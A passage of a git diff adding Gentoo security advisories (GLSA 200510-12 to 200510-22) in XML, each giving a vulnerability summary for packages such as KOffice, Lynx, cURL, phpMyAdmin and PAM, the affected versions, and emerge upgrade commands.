+  <metadata tag="requester" timestamp="Tue, 11 Oct 2005 07:50:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Oct 2005 08:03:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 12 Oct 2005 07:47:42 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-12.xml b/xml/htdocs/security/en/glsa/glsa-200510-12.xml
new file mode 100644
index 00000000..68e58517
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-12.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-12">
+  <title>KOffice, KWord: RTF import buffer overflow</title>
+  <synopsis>
+    KOffice and KWord are vulnerable to a buffer overflow in the RTF importer,
+    potentially resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">koffice, kword</product>
+  <announced>October 14, 2005</announced>
+  <revised>October 14, 2005: 01</revised>
+  <bug>108411</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/koffice" auto="yes" arch="*">
+      <unaffected range="ge">1.4.1-r1</unaffected>
+      <vulnerable range="lt">1.4.1-r1</vulnerable>
+    </package>
+    <package name="app-office/kword" auto="yes" arch="*">
+      <unaffected range="ge">1.4.1-r1</unaffected>
+      <vulnerable range="lt">1.4.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KOffice is an integrated office suite for KDE. KWord is the
+    KOffice word processor.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans discovered that the KWord RTF importer was vulnerable
+    to a heap-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially-crafted RTF
+    file, potentially resulting in the execution of arbitrary code with the
+    rights of the user running the affected application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KOffice users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/koffice-1.4.1-r1&quot;</code>
+    <p>
+    All KWord users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/kword-1.4.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2971">CAN-2005-2971</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20051011-1.txt">KDE Security Advisory: KWord RTF import buffer overflow</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 11 Oct 2005 14:40:11 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 14 Oct 2005 05:26:32 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-13.xml b/xml/htdocs/security/en/glsa/glsa-200510-13.xml
new file mode 100644
index 00000000..3a6a9759
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-13.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-13">
+  <title>SPE: Insecure file permissions</title>
+  <synopsis>
+    SPE files are installed with world-writeable permissions, potentially
+    leading to privilege escalation.
+  </synopsis>
+  <product type="ebuild">spe</product>
+  <announced>October 15, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>108538</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-util/spe" auto="yes" arch="*">
+      <unaffected range="ge">0.7.5c-r1</unaffected>
+      <unaffected range="rge">0.5.1f-r1</unaffected>
+      <vulnerable range="lt">0.7.5c-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SPE is a cross-platform Python Integrated Development Environment
+    (IDE).
+    </p>
+  </background>
+  <description>
+    <p>
+    It was reported that due to an oversight all SPE's files are set as
+    world-writeable.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could modify the executable files, causing arbitrary
+    code to be executed with the permissions of the user running SPE.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SPE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-util/spe</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3291">CVE-2005-3291</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 11 Oct 2005 21:00:30 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 12 Oct 2005 02:02:14 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 15 Oct 2005 08:06:19 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-14.xml b/xml/htdocs/security/en/glsa/glsa-200510-14.xml
new file mode 100644
index 00000000..31c1f40d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-14.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-14">
+  <title>Perl, Qt-UnixODBC, CMake: RUNPATH issues</title>
+  <synopsis>
+    Multiple packages suffer from RUNPATH issues that may allow users in the
+    "portage" group to escalate privileges.
+  </synopsis>
+  <product type="ebuild">Perl Qt-UnixODBC CMake</product>
+  <announced>October 17, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>105719</bug>
+  <bug>105721</bug>
+  <bug>106678</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/perl" auto="yes" arch="*">
+      <unaffected range="ge">5.8.7-r1</unaffected>
+      <unaffected range="rge">5.8.6-r6</unaffected>
+      <vulnerable range="lt">5.8.7-r1</vulnerable>
+    </package>
+    <package name="dev-db/qt-unixODBC" auto="yes" arch="*">
+      <unaffected range="ge">3.3.4-r1</unaffected>
+      <vulnerable range="lt">3.3.4-r1</vulnerable>
+    </package>
+    <package name="dev-util/cmake" auto="yes" arch="*">
+      <unaffected range="ge">2.2.0-r1</unaffected>
+      <unaffected range="rge">2.0.6-r1</unaffected>
+      <vulnerable range="lt">2.2.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Perl is a stable, cross-platform programming language created by Larry
+    Wall. Qt-UnixODBC is an ODBC library for Qt. CMake is a cross-platform
+    build environment.
+    </p>
+  </background>
+  <description>
+    <p>
+    Some packages may introduce insecure paths into the list of directories
+    that are searched for libraries at runtime. Furthermore, packages
+    depending on the MakeMaker Perl module for build configuration may have
+    incorrectly copied the LD_RUN_PATH into the DT_RPATH.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local attacker, who is a member of the "portage" group, could create
+    a malicious shared object in the Portage temporary build directory that
+    would be loaded at runtime by a dependent executable, potentially
+    resulting in privilege escalation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Only grant "portage" group rights to trusted users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Perl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-lang/perl</code>
+    <p>
+    All Qt-UnixODBC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/qt-unixODBC-3.3.4-r1&quot;</code>
+    <p>
+    All CMake users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-util/cmake</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4278">CVE-2005-4278</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4279">CVE-2005-4279</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4280">CVE-2005-4280</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 27 Sep 2005 08:00:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Oct 2005 08:34:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 15 Oct 2005 10:08:27 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-15.xml b/xml/htdocs/security/en/glsa/glsa-200510-15.xml
new file mode 100644
index 00000000..0a8198d7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-15.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-15">
+  <title>Lynx: Buffer overflow in NNTP processing</title>
+  <synopsis>
+    Lynx contains a buffer overflow that may be exploited to execute arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">Lynx</product>
+  <announced>October 17, 2005</announced>
+  <revised>October 17, 2005: 01</revised>
+  <bug>108451</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/lynx" auto="yes" arch="*">
+      <unaffected range="ge">2.8.5-r1</unaffected>
+      <vulnerable range="lt">2.8.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Lynx is a text-mode browser for the World Wide Web. It supports
+    multiple URL types, including HTTP and NNTP URLs.
+    </p>
+  </background>
+  <description>
+    <p>
+    When accessing a NNTP URL, Lynx connects to a NNTP server and
+    retrieves information about the available articles in the target
+    newsgroup. Ulf Harnhammar discovered a buffer overflow in a function
+    that handles the escaping of special characters.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could setup a malicious NNTP server and entice a user
+    to access it using Lynx (either by creating NNTP links on a web page or
+    by forcing a redirect for Lynx users). The data returned by the NNTP
+    server would trigger the buffer overflow and execute arbitrary code
+    with the rights of the user running Lynx.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Lynx users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/lynx-2.8.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3120">CAN-2005-3120</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 15 Oct 2005 09:30:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Oct 2005 12:46:58 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-16.xml b/xml/htdocs/security/en/glsa/glsa-200510-16.xml
new file mode 100644
index 00000000..a8d8bd0f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-16.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-16">
+  <title>phpMyAdmin: Local file inclusion vulnerability</title>
+  <synopsis>
+    phpMyAdmin contains a local file inclusion vulnerability that may lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>October 17, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>108939</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.4_p2</unaffected>
+      <vulnerable range="lt">2.6.4_p2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL over the web.
+    </p>
+  </background>
+  <description>
+    <p>
+    Maksymilian Arciemowicz reported that in
+    libraries/grab_globals.lib.php, the $__redirect parameter was not
+    correctly validated. Systems running PHP in safe mode are not affected.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker may exploit this vulnerability by sending malicious
+    requests, causing the execution of arbitrary code with the rights of
+    the user running the web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Run PHP in safe mode.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.6.4_p2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-4">PMASA-2005-4</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299">CVE-2005-3299</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 15 Oct 2005 08:08:40 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 16 Oct 2005 19:41:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 17 Oct 2005 03:54:58 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-17.xml b/xml/htdocs/security/en/glsa/glsa-200510-17.xml
new file mode 100644
index 00000000..4d32e385
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-17.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-17">
+  <title>AbiWord: New RTF import buffer overflows</title>
+  <synopsis>
+    AbiWord is vulnerable to an additional set of buffer overflows during RTF
+    import, making it vulnerable to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">AbiWord</product>
+  <announced>October 20, 2005</announced>
+  <revised>October 20, 2005: 01</revised>
+  <bug>109157</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/abiword" auto="yes" arch="*">
+      <unaffected range="ge">2.2.11</unaffected>
+      <vulnerable range="lt">2.2.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    AbiWord is a free and cross-platform word processing program. It
+    allows to import RTF files into AbiWord documents.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans discovered a different set of buffer overflows than
+    the one described in GLSA 200509-20 in the RTF import function in
+    AbiWord.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could design a malicious RTF file and entice a user to
+    import it in AbiWord, potentially resulting in the execution of
+    arbitrary code with the rights of the user running AbiWord.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AbiWord users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/abiword-2.2.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200509-20.xml">GLSA-200509-20</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2972">CAN-2005-2972</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 18 Oct 2005 07:36:44 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 18 Oct 2005 14:22:32 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Oct 2005 05:41:16 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-18.xml b/xml/htdocs/security/en/glsa/glsa-200510-18.xml
new file mode 100644
index 00000000..5b3dc916
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-18.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-18">
+  <title>Netpbm: Buffer overflow in pnmtopng</title>
+  <synopsis>
+    The pnmtopng utility, part of the Netpbm tools, contains a vulnerability
+    which can potentially result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Netpbm</product>
+  <announced>October 20, 2005</announced>
+  <revised>May 28, 2009: 06</revised>
+  <bug>109705</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/netpbm" auto="yes" arch="*">
+      <unaffected range="ge">10.29</unaffected>
+      <unaffected range="rge">10.26.32</unaffected>
+      <unaffected range="rge">10.26.33</unaffected>
+      <unaffected range="rge">10.26.42</unaffected>
+      <unaffected range="rge">10.26.43</unaffected>
+      <unaffected range="rge">10.26.44</unaffected>
+      <unaffected range="rge">10.26.48</unaffected>
+      <unaffected range="rge">10.26.49</unaffected>
+      <unaffected range="rge">10.26.52</unaffected>
+      <unaffected range="rge">10.26.53</unaffected>
+      <unaffected range="rge">10.26.59</unaffected>
+      <unaffected range="rge">10.26.61</unaffected>
+      <vulnerable range="lt">10.29</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Netpbm is a package of 220 graphics programs and a programming library,
+    including pnmtopng, a tool to convert PNM image files to the PNG
+    format.
+    </p>
+  </background>
+  <description>
+    <p>
+    RedHat reported that pnmtopng is vulnerable to a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious PNM file and entice a user to run
+    pnmtopng on it, potentially resulting in the execution of arbitrary
+    code with the permissions of the user running pnmtopng.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Netpbm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose media-libs/netpbm</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2978">CAN-2005-2978</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 15 Oct 2005 09:38:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 20 Oct 2005 07:38:22 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-19.xml b/xml/htdocs/security/en/glsa/glsa-200510-19.xml
new file mode 100644
index 00000000..99089c12
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-19.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-19">
+  <title>cURL: NTLM username stack overflow</title>
+  <synopsis>
+    cURL is vulnerable to a buffer overflow which could lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">cURL</product>
+  <announced>October 22, 2005</announced>
+  <revised>October 22, 2005: 01</revised>
+  <bug>109097</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/curl" auto="yes" arch="*">
+      <unaffected range="ge">7.15.0</unaffected>
+      <vulnerable range="lt">7.15.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cURL is a command line tool and library for transferring files via
+    many different protocols. It supports NTLM authentication to retrieve
+    files from Windows-based systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDEFENSE reported that insufficient bounds checking on a memcpy()
+    of the supplied NTLM username can result in a stack overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could setup a malicious server and entice an
+    user to connect to it using a cURL client, potentially leading to the
+    execution of arbitrary code with the permissions of the user running
+    cURL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable NTLM authentication by not using the --anyauth or --ntlm
+    options when using cURL (the command line version). Workarounds for
+    programs that use the cURL library depend on the configuration options
+    presented by those programs.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cURL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/curl-7.15.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3185">CVE-2005-3185</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=322&amp;type=vulnerabilities">iDefense Security Advisory 10.13.05</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 21 Oct 2005 09:04:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 21 Oct 2005 09:04:50 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-20.xml b/xml/htdocs/security/en/glsa/glsa-200510-20.xml
new file mode 100644
index 00000000..335f5de2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-20.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-20">
+  <title>Zope: File inclusion through RestructuredText</title>
+  <synopsis>
+    Zope is vulnerable to a file inclusion vulnerability when exposing
+    RestructuredText functionalities to untrusted users.
+  </synopsis>
+  <product type="ebuild">Zope</product>
+  <announced>October 25, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>109087</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-zope/zope" auto="yes" arch="*">
+      <unaffected range="ge">2.7.8</unaffected>
+      <vulnerable range="lt">2.7.8</vulnerable>
+      <vulnerable range="eq">2.8.0</vulnerable>
+      <vulnerable range="eq">2.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Zope is an application server that can be used to build content
+    management systems, intranets, portals or other custom applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Zope honors file inclusion directives in RestructuredText objects by
+    default.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit the vulnerability by sending malicious input
+    that would be interpreted in a RestructuredText Zope object,
+    potentially resulting in the execution of arbitrary Zope code with the
+    rights of the Zope server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Zope users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-zope/zope</code>
+  </resolution>
+  <references>
+    <uri link="http://www.zope.org/Products/Zope/Hotfix_2005-10-09/security_alert">Zope Hotfix 2005-10-09 Alert</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3323">CVE-2005-3323</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 20 Oct 2005 15:36:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 23 Oct 2005 15:31:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 23 Oct 2005 16:31:59 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-21.xml b/xml/htdocs/security/en/glsa/glsa-200510-21.xml
new file mode 100644
index 00000000..6a227085
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-21.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-21">
+  <title>phpMyAdmin: Local file inclusion and XSS vulnerabilities</title>
+  <synopsis>
+    phpMyAdmin contains a local file inclusion vulnerability that may lead to
+    the execution of arbitrary code, along with several cross-site scripting
+    issues.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>October 25, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>110146</bug>
+  <access>local and remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.6.4_p3</unaffected>
+      <vulnerable range="lt">2.6.4_p3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a tool written in PHP intended to handle the
+    administration of MySQL over the web.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser discovered that by calling certain PHP files directly, it
+    was possible to workaround the grab_globals.lib.php security model and
+    overwrite the $cfg configuration array. Systems running PHP in safe
+    mode are not affected. Futhermore, Tobias Klein reported several
+    cross-site-scripting issues resulting from insufficient user input
+    sanitizing.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker may exploit this vulnerability by sending malicious
+    requests, causing the execution of arbitrary code with the rights of
+    the user running the web server. Furthermore, the cross-site scripting
+    issues give a remote attacker the ability to inject and execute
+    malicious script code or to steal cookie-based authentication
+    credentials, potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for all those issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.6.4_p3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2005-5">PMASA-2005-5</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3300">CVE-2005-3300</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3301">CVE-2005-3301</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 24 Oct 2005 08:28:30 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Oct 2005 08:03:47 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-22.xml b/xml/htdocs/security/en/glsa/glsa-200510-22.xml
new file mode 100644
index 00000000..c1fdd0ca
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-22.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-22">
+  <title>SELinux PAM: Local password guessing attack</title>
+  <synopsis>
+    A vulnerability in the SELinux version of PAM allows a local attacker to
+    brute-force system passwords.
+  </synopsis>
+  <product type="ebuild">PAM</product>
+  <announced>October 28, 2005</announced>
+  <revised>October 28, 2005: 01</revised>
+  <bug>109485</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-libs/pam" auto="yes" arch="*">
+      <unaffected range="ge">0.78-r3</unaffected>
+      <vulnerable range="lt">0.78-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PAM (Pluggable Authentication Modules) is an architecture allowing
+    the separation of the development of privilege granting software from
+    the development of secure and appropriate authentication schemes.
+    SELinux is an operating system based on Linux which includes Mandatory
+    Access Control.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SELinux patches for PAM introduce a vulnerability allowing a
+    password to be checked with the unix_chkpwd utility without delay or
+    logging. This vulnerability doesn't affect users who do not run
+    SELinux.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to brute-force
+    passwords and escalate privileges on an SELinux system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SELinux PAM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-libs/pam-0.78-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2977">CVE-2005-2977</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Oct 2005 15:44:45 +0000">
